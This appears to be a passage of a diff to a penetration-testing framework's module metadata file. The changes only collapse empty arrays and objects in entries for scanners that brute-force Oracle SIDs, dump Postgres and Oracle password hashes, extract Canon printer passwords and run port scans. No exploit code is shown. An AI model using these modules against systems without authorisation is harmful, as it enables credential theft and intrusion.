{ "name": "NTP Timeroast", "fullname": "auxiliary/scanner/ntp/timeroast", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -50840,12 +44176,8 @@ "platform": "", "arch": "", "rport": 123, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-12-19 17:12:39 +0000", "path": "/modules/auxiliary/scanner/ntp/timeroast.rb", @@ -50855,28 +44187,18 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Stability": [], + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/openvas/openvas_gsad_login": { "name": "OpenVAS gsad Web Interface Login Utility", "fullname": "auxiliary/scanner/openvas/openvas_gsad_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -50884,9 +44206,7 @@ "Vlatko Kosturjak " ], "description": "This module simply attempts to login to an OpenVAS gsad interface\n using a specific user/pass.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -50913,20 +44233,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/openvas/openvas_omp_login": { "name": "OpenVAS OMP Login Utility", "fullname": "auxiliary/scanner/openvas/openvas_omp_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -50934,18 +44249,12 @@ "Vlatko Kosturjak " ], "description": "This module attempts to authenticate to an OpenVAS OMP service.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 9390, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-09-25 09:10:10 +0000", "path": "/modules/auxiliary/scanner/openvas/openvas_omp_login.rb", @@ -50954,20 +44263,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/openvas/openvas_otp_login": { "name": "OpenVAS OTP Login Utility", "fullname": "auxiliary/scanner/openvas/openvas_otp_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -50975,18 +44279,12 @@ "Vlatko Kosturjak " ], "description": "This module attempts to authenticate to an OpenVAS OTP service.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 9391, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-09-25 09:10:10 +0000", "path": "/modules/auxiliary/scanner/openvas/openvas_otp_login.rb", @@ -50995,20 +44293,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/oracle/emc_sid": { "name": "Oracle Enterprise Manager Control SID Discovery", "fullname": "auxiliary/scanner/oracle/emc_sid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -51045,20 +44338,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/oracle/isqlplus_login": { "name": "Oracle iSQL*Plus Login Utility", "fullname": "auxiliary/scanner/oracle/isqlplus_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -51096,20 +44384,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/oracle/isqlplus_sidbrute": { "name": "Oracle iSQLPlus SID Check", "fullname": "auxiliary/scanner/oracle/isqlplus_sidbrute", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -51147,20 +44430,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/oracle/oracle_hashdump": { "name": "Oracle Password Hashdump", "fullname": "auxiliary/scanner/oracle/oracle_hashdump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -51168,18 +44446,12 @@ "theLightCosine " ], "description": "This module dumps the usernames and password hashes\n from Oracle given the proper Credentials and SID.\n These are then stored as creds for later cracking using auxiliary/analyze/jtr_oracle_fast.\n This module supports Oracle DB versions 8i, 9i, 10g, 11g, and 12c.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-03-28 10:06:56 +0000", "path": "/modules/auxiliary/scanner/oracle/oracle_hashdump.rb", @@ -51188,20 +44460,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/oracle/oracle_login": { "name": "Oracle RDBMS Login Utility", "fullname": "auxiliary/scanner/oracle/oracle_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -51218,12 +44485,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/oracle/oracle_login.rb", @@ -51232,20 +44495,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/oracle/sid_brute": { "name": "Oracle TNS Listener SID Bruteforce", "fullname": "auxiliary/scanner/oracle/sid_brute", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -51253,18 +44511,12 @@ "todb " ], "description": "This module queries the TNS listener for a valid Oracle database\n instance name (also known as a SID).\n Any response other than a \"reject\" will be considered a success.\n If a specific SID is provided, that SID will be attempted. Otherwise,\n SIDs read from the named file will be attempted in sequence instead.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-04-26 08:36:32 +0000", "path": "/modules/auxiliary/scanner/oracle/sid_brute.rb", @@ -51273,20 +44525,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/oracle/sid_enum": { "name": "Oracle TNS Listener SID Enumeration", "fullname": "auxiliary/scanner/oracle/sid_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-01-07", "type": "auxiliary", @@ -51295,18 +44542,12 @@ "MC " ], "description": "This module simply queries the TNS listener for the Oracle SID.\n With Oracle 9.2.0.8 and above the listener will be protected and\n the SID will have to be bruteforced or guessed.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/scanner/oracle/sid_enum.rb", @@ -51315,20 +44556,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/oracle/spy_sid": { "name": "Oracle Application Server Spy Servlet SID Enumeration", "fullname": "auxiliary/scanner/oracle/spy_sid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -51365,20 +44601,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/oracle/tnslsnr_version": { "name": "Oracle TNS Listener Service Version Query", "fullname": "auxiliary/scanner/oracle/tnslsnr_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-01-07", "type": "auxiliary", @@ -51386,18 +44617,12 @@ "CG " ], "description": "This module simply queries the tnslsnr service for the Oracle build.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/scanner/oracle/tnslsnr_version.rb", @@ -51406,20 +44631,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/oracle/tnspoison_checker": { "name": "Oracle TNS Listener Checker", "fullname": "auxiliary/scanner/oracle/tnspoison_checker", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-04-18", "type": "auxiliary", @@ -51434,12 +44654,8 @@ "platform": "", "arch": "", "rport": 1521, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/scanner/oracle/tnspoison_checker.rb", @@ -51448,20 +44664,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/oracle/xdb_sid": { "name": "Oracle XML DB SID Discovery", "fullname": "auxiliary/scanner/oracle/xdb_sid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -51498,20 +44709,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/oracle/xdb_sid_brute": { "name": "Oracle XML DB SID Discovery via Brute Force", "fullname": "auxiliary/scanner/oracle/xdb_sid_brute", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -51549,20 +44755,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/pcanywhere/pcanywhere_login": { "name": "PcAnywhere Login Scanner", "fullname": "auxiliary/scanner/pcanywhere/pcanywhere_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -51576,12 +44777,8 @@ "platform": "", "arch": "", "rport": 5631, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-09-22 02:56:51 +0000", "path": "/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb", @@ -51590,20 +44787,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/pcanywhere/pcanywhere_tcp": { "name": "PcAnywhere TCP Service Discovery", "fullname": "auxiliary/scanner/pcanywhere/pcanywhere_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -51611,18 +44803,12 @@ "hdm " ], "description": "Discover active pcAnywhere services through TCP", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 5631, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/pcanywhere/pcanywhere_tcp.rb", @@ -51631,20 +44817,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/pcanywhere/pcanywhere_udp": { "name": "PcAnywhere UDP Service Discovery", "fullname": "auxiliary/scanner/pcanywhere/pcanywhere_udp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -51658,12 +44839,8 @@ "platform": "", "arch": "", "rport": 5632, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/pcanywhere/pcanywhere_udp.rb", @@ -51672,20 +44849,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/pop3/pop3_login": { "name": "POP3 Login Utility", "fullname": "auxiliary/scanner/pop3/pop3_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -51700,12 +44872,8 @@ "platform": "", "arch": "", "rport": 110, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-05-03 10:45:37 +0000", "path": "/modules/auxiliary/scanner/pop3/pop3_login.rb", @@ -51714,20 +44882,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/pop3/pop3_version": { "name": "POP3 Banner Grabber", "fullname": "auxiliary/scanner/pop3/pop3_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -51735,18 +44898,12 @@ "hdm " ], "description": "POP3 Banner Grabber", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 110, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/pop3/pop3_version.rb", @@ -51755,20 +44912,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/portmap/portmap_amp": { "name": "Portmapper Amplification Scanner", "fullname": "auxiliary/scanner/portmap/portmap_amp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -51784,12 +44936,8 @@ "platform": "", "arch": "", "rport": 111, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/portmap/portmap_amp.rb", @@ -51798,20 +44946,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/portscan/ack": { "name": "TCP ACK Firewall Scanner", "fullname": "auxiliary/scanner/portscan/ack", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -51819,18 +44962,12 @@ "kris katterjohn " ], "description": "Map out firewall rulesets with a raw ACK scan. Any\n unfiltered ports found means a stateful firewall is\n not in place for them.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/portscan/ack.rb", @@ -51839,20 +44976,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/portscan/ftpbounce": { "name": "FTP Bounce Port Scanner", "fullname": "auxiliary/scanner/portscan/ftpbounce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -51860,9 +44992,7 @@ "kris katterjohn " ], "description": "Enumerate TCP services via the FTP bounce PORT/LIST\n method.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, @@ -51881,20 +45011,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/portscan/syn": { "name": "TCP SYN Port Scanner", "fullname": "auxiliary/scanner/portscan/syn", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -51902,18 +45027,12 @@ "kris katterjohn " ], "description": "Enumerate open TCP services using a raw SYN scan.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/portscan/syn.rb", @@ -51922,20 +45041,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/portscan/tcp": { "name": "TCP Port Scanner", "fullname": "auxiliary/scanner/portscan/tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -51944,18 +45058,12 @@ "kris katterjohn " ], "description": "Enumerate open TCP services by performing a full TCP connect on each port.\n This does not need administrative privileges on the source machine, which\n may be useful if pivoting.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/portscan/tcp.rb", @@ -51964,20 +45072,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/portscan/xmas": { "name": "TCP \"XMas\" Port Scanner", "fullname": "auxiliary/scanner/portscan/xmas", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -51985,18 +45088,12 @@ "kris katterjohn " ], "description": "Enumerate open|filtered TCP services using a raw\n \"XMas\" scan; this sends probes containing the FIN,\n PSH and URG flags.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/portscan/xmas.rb", @@ -52005,20 +45102,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/postgres/postgres_dbname_flag_injection": { "name": "PostgreSQL Database Name Command Line Flag Injection", "fullname": "auxiliary/scanner/postgres/postgres_dbname_flag_injection", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -52033,12 +45125,8 @@ "platform": "", "arch": "", "rport": 5432, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/postgres/postgres_dbname_flag_injection.rb", @@ -52047,20 +45135,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/postgres/postgres_hashdump": { "name": "Postgres Password Hashdump", "fullname": "auxiliary/scanner/postgres/postgres_hashdump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -52068,9 +45151,7 @@ "theLightCosine " ], "description": "This module extracts the usernames and encrypted password\n hashes from a Postgres server and stores them for later cracking.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 5432, @@ -52088,22 +45169,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "postgresql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/postgres/postgres_login": { "name": "PostgreSQL Login Utility", "fullname": "auxiliary/scanner/postgres/postgres_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -52133,20 +45209,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/postgres/postgres_schemadump": { "name": "Postgres Schema Dump", "fullname": "auxiliary/scanner/postgres/postgres_schemadump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -52154,9 +45225,7 @@ "theLightCosine " ], "description": "This module extracts the schema information from a\n Postgres server.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 5432, @@ -52174,22 +45243,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "postgresql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/postgres/postgres_version": { "name": "PostgreSQL Version Probe", "fullname": "auxiliary/scanner/postgres/postgres_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -52217,22 +45281,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "postgresql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/printer/canon_iradv_pwd_extract": { "name": "Canon IR-Adv Password Extractor", "fullname": "auxiliary/scanner/printer/canon_iradv_pwd_extract", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -52243,9 +45302,7 @@ "Dev Mohanty" ], "description": "This module will extract the passwords from address books on various Canon IR-Adv mfp devices.\n Tested models:\n iR-ADV C2030,\n iR-ADV 4045,\n iR-ADV C5030,\n iR-ADV C5235,\n iR-ADV C5240,\n iR-ADV 6055,\n iR-ADV C7065", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 8000, @@ -52272,20 +45329,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/printer/printer_delete_file": { "name": "Printer File Deletion Scanner", "fullname": "auxiliary/scanner/printer/printer_delete_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -52303,12 +45355,8 @@ "platform": "", "arch": "", "rport": 9100, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/printer/printer_delete_file.rb", @@ -52317,20 +45365,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/printer/printer_download_file": { "name": "Printer File Download Scanner", "fullname": "auxiliary/scanner/printer/printer_download_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -52348,12 +45391,8 @@ "platform": "", "arch": "", "rport": 9100, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/printer/printer_download_file.rb", @@ -52362,20 +45401,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/printer/printer_env_vars": { "name": "Printer Environment Variables Scanner", "fullname": "auxiliary/scanner/printer/printer_env_vars", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -52393,12 +45427,8 @@ "platform": "", "arch": "", "rport": 9100, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-03-05 21:02:39 +0000", "path": "/modules/auxiliary/scanner/printer/printer_env_vars.rb", @@ -52407,20 +45437,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/printer/printer_list_dir": { "name": "Printer Directory Listing Scanner", "fullname": "auxiliary/scanner/printer/printer_list_dir", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -52438,12 +45463,8 @@ "platform": "", "arch": "", "rport": 9100, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/printer/printer_list_dir.rb", @@ -52452,20 +45473,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/printer/printer_list_volumes": { "name": "Printer Volume Listing Scanner", "fullname": "auxiliary/scanner/printer/printer_list_volumes", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -52483,12 +45499,8 @@ "platform": "", "arch": "", "rport": 9100, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-03-05 21:02:39 +0000", "path": "/modules/auxiliary/scanner/printer/printer_list_volumes.rb", @@ -52497,20 +45509,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/printer/printer_ready_message": { "name": "Printer Ready Message Scanner", "fullname": "auxiliary/scanner/printer/printer_ready_message", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -52528,12 +45535,8 @@ "platform": "", "arch": "", "rport": 9100, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/printer/printer_ready_message.rb", @@ -52542,8 +45545,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -52564,9 +45566,7 @@ "auxiliary_scanner/printer/printer_upload_file": { "name": "Printer File Upload Scanner", "fullname": "auxiliary/scanner/printer/printer_upload_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -52584,12 +45584,8 @@ "platform": "", "arch": "", "rport": 9100, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/printer/printer_upload_file.rb", @@ -52598,20 +45594,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/printer/printer_version_info": { "name": "Printer Version Information Scanner", "fullname": "auxiliary/scanner/printer/printer_version_info", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -52629,12 +45620,8 @@ "platform": "", "arch": "", "rport": 9100, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/printer/printer_version_info.rb", @@ -52643,20 +45630,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/quake/server_info": { "name": "Gather Quake Server Information", "fullname": "auxiliary/scanner/quake/server_info", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -52670,12 +45652,8 @@ "platform": "", "arch": "", "rport": 27960, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-01-28 10:35:25 +0000", "path": "/modules/auxiliary/scanner/quake/server_info.rb", @@ -52684,8 +45662,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -52702,9 +45679,7 @@ "auxiliary_scanner/rdp/cve_2019_0708_bluekeep": { "name": "CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check", "fullname": 